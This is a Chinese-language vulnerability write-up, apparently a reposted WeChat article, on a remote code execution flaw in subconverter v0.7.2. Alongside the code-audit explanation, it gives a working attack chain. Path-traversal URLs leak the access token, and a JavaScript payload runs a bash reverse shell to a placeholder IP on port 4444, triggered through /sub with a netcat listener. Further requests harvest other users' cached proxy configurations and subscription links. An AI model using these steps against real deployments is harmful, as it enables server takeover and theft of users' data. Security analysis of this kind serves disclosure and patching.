利用条件
enable cache必须开启
api_access_token需要知道,默认token为password
路径
# 获取版本
/version
# qx-script接口(0.7.2-be878e1后被删除)
/qx-script?url=cHJlZi50b21s
/qx-script?url=cHJlZi55bWw
/qx-script?url=cHJlZi5pbmk
# convert接口(目前依然存在路径穿越到同目录下暴露配置token)
/convert?url=pref.toml
/convert?url=pref.ini
/convert?url=pref.yml
# 指令写入缓存目录
/sub?target=clash&url=http://1.1.1.1/payload
# payload
function parse(x){
os.exec(["sh","-c","bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/4444 0>&1"])
}
# 反弹shell:
控制端运行:nc -lvp 1880
网页访问:/sub?target=clash&url=script:cache/md5,1&token=password
个人测试Tips
有/qx-script接口必有/convert,反之则不一定
获取曾经访问过这个站点的梯子配置
枫👴✌给的通过 cache
获取访问过这个站进行订阅转换的 exp
# payload
/sub?target=clash&url=https://xxx.xxx.com/payload.txt
# 查看文件是否写入
/qx-script?url=Y2FjaGUvN2JjZDZjYjVlYjJiMzNhODhi
/convert?url=cache/7bcd6cb5eb2b33a88b
# 获取缓存->缓存执行
http://127.0.0.1:25500/sub?target=clash&url=script:cache/
7bcd6cb5eb2b33a88b
,1&token=password
# 查看获取的缓存文件名
/qx-script?url=Y2FjaGUvc2RxY2pxc2czNA==
/convert?url=cache/sdqcjqsg34
# 之后匹配带有_header的行数,拼接路径即可获取访问过这个站进行订阅转换的梯子配置
/convert?url=cache/xxx
获取到的 v2 lnk
其他
1.获取到的缓存判断是v2或其他懒得弄
2.获取订阅链接就很操蛋,如果是服务化可以用journalctl -fu nexconvert命令获取日志信息。如果没有服务化,则需要读取nginx配置文件获取日志路径,读日志去获取用户请求生成的订阅链接。关键字:url=
3.shell弹回来不知道为什么不能执行命令
RCE
直接使用编写好的 Exp
脚本(就不放出来了)
代码审计部分
版本:v0.7.2
在 main.cpp
可以看到对应的路由
主要关注: subconverter
、getConvertedRuleset
、getScript
函数
webServer.append_response(
"GET"
,
"/sub"
,
"text/plain;charset=utf-8"
, subconverter);
webServer.append_response(
"GET"
,
"/sub2clashr"
,
"text/plain;charset=utf-8"
, simpleToClashR);
webServer.append_response(
"GET"
,
"/surge2clash"
,
"text/plain;charset=utf-8"
, surgeConfToClash);
webServer.append_response(
"GET"
,
"/getruleset"
,
"text/plain;charset=utf-8"
, getRuleset);
webServer.append_response(
"GET"
,
"/getprofile"
,
"text/plain;charset=utf-8"
, getProfile);
webServer.append_response(
"GET"
,
"/qx-script"
,
"text/plain;charset=utf-8"
, getScript);
webServer.append_response(
"GET"
,
"/qx-rewrite"
,
"text/plain;charset=utf-8"
, getRewriteRemote);
webServer.append_response(
"GET"
,
"/render"
,
"text/plain;charset=utf-8"
, renderTemplate);
webServer.append_response(
"GET"
,
"/convert"
,
"text/plain;charset=utf-8"
, getConvertedRuleset);
全局搜索 subconverter
函数
https://github1s.com/tindy2013/subconverter/blob/v0.7.2/src/handler/interfaces.cpp
sub
的 payload
/sub?target=clash&url=https://xxx.xxx.com/payload
可以看到从请求参数获取 target
和 url
和 token
std::string argTarget = getUrlArg(argument,
"target"
), argSurgeVer = getUrlArg(argument,
"ver"
);
std::string argUrl = urlDecode(getUrlArg(argument,
"url"
));
bool authorized = !global.APIMode || getUrlArg(argument,
"token"
) == global.accessToken, strict = argUpdateStrict.size() ? argUpdateStrict ==
"true"
: global.updateStrict;
首先是 argTarget
判断 argTarget
是否为 ss
、ssd
、sssub
、v2ray
、trojan
、clash
、clashr
、surge
、quan
、quanx
、loon
、surfboard
、mellow
如果都不是,则返回Invalid target!
然后到 token
判断,先判断是否开启验证,然后获取 token
参数判断是否和设置 token
验证相等
然后到 argUrl
判断是否为空
if
(!argUrl.size() && (!global.APIMode || authorized))
argUrl = global.defaultUrls;
if
((!argUrl.size() && !(global.insertUrls.size() && argEnableInsert)) || !argTarget.size())
{
*status_code = 400;
return
"Invalid request!"
;
}
这两个判断过完后则来到 addNodes
函数,先兑 argUrl
参数以 |
进行分割。遍历分割的数组
1.先匹配url是否符合正则
2.然后调用addNodes函数
最后判断 nodes.size()
是否为空如果是,则返回 No nodes ware found!
跟进 addNodes
函数
https://github1s.com/tindy2013/subconverter/blob/v0.7.2/src/generator/config/nodemanip.cpp#L35
先把 url
里的 \
替换为空,然后我们可以看到这里 RCE
关键点。检查头部是否为 script:
,然后使用 split
函数分割 script:
获取对应的文件名,读取后ctx.eval
执行,随后创建函数调用parse
函数
ctx.eval
Value
eval
(std::string_view buffer, const char * filename =
"<eval>"
, unsigned eval_flags = 0)
{
assert(buffer.data()[buffer.size()] ==
'�'
&&
"eval buffer is not null-terminated"
); // JS_Eval requirement
JSValue v = JS_Eval(ctx, buffer.data(), buffer.size(), filename, eval_flags);
return
Value{ctx, v};
}
由于这里用了 try
如果脚本函数不为 parse
则走到 catch
所以 payload
为
exp.js
function
parse(x){
os.exec([
"sh"
,
"-c"
,
"bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/4444 0>&1"
])
}
/sub?target=clash&url=script:cache/9934daae5fb293a3572cf3599d87784f,1&token=HAQVonsXYJVrDGNJYM10rCh5UuTdLBQq
但这只是 RCE
的部分,远程请求下载保存在缓存则在后面
在 132行
会调用 isLink
函数来判断 url
头部是否为 http
、https
或者头部是否为 surge:///install-config
,之后 linkType
设置为 ConfigType::SUB
随后进入到 switch
判断,这里直接跟踪到判断为是 ConfigType::SUB
,首先调用 urlDecode
函数进行 url
解码,然后利用 webGet
函数进行获取远端内容。注释也可以看到: surge config link
跟进 WebGet
函数
可以看到保存的文件名是由 :cache+md5
加密后的 url
,还有 path_header
文件名则为刚刚的 path+_header
,然后获取缓存文件夹的时间戳之后判断 response_header
变量是否存在,无论是否存在,存在则读取这个 path+_header
的文件,不存在则读取 path
,然后调用 curlGet
请求远端。随后判断状态码是否为 200
,如果是 200
则写入文件
到此这里远程下载保存到缓存的点分析完
然后分析 getConvertedRuleset
函数
获取 url
参数,url
解码并读取文件返回
getScript
函数也差不多,也是获取 url
参数。base64
解码该参数并读取文件
最新版已经出到 v0.8.0
新旧版对比,最新版已经删除掉 /convert
和 /qx-script
两个接口
https://github.com/tindy2013/subconverter/commit/5de1a3fef0395f220c9ae4e747a7e712be37c423
https://github.com/tindy2013/subconverter/blob/master/src/main.cpp
参考链接
https:
//bulianglin.com/archives/subug.html
原文始发于微信公众号(刨洞安全团队):Subconverter订阅转换RCE漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论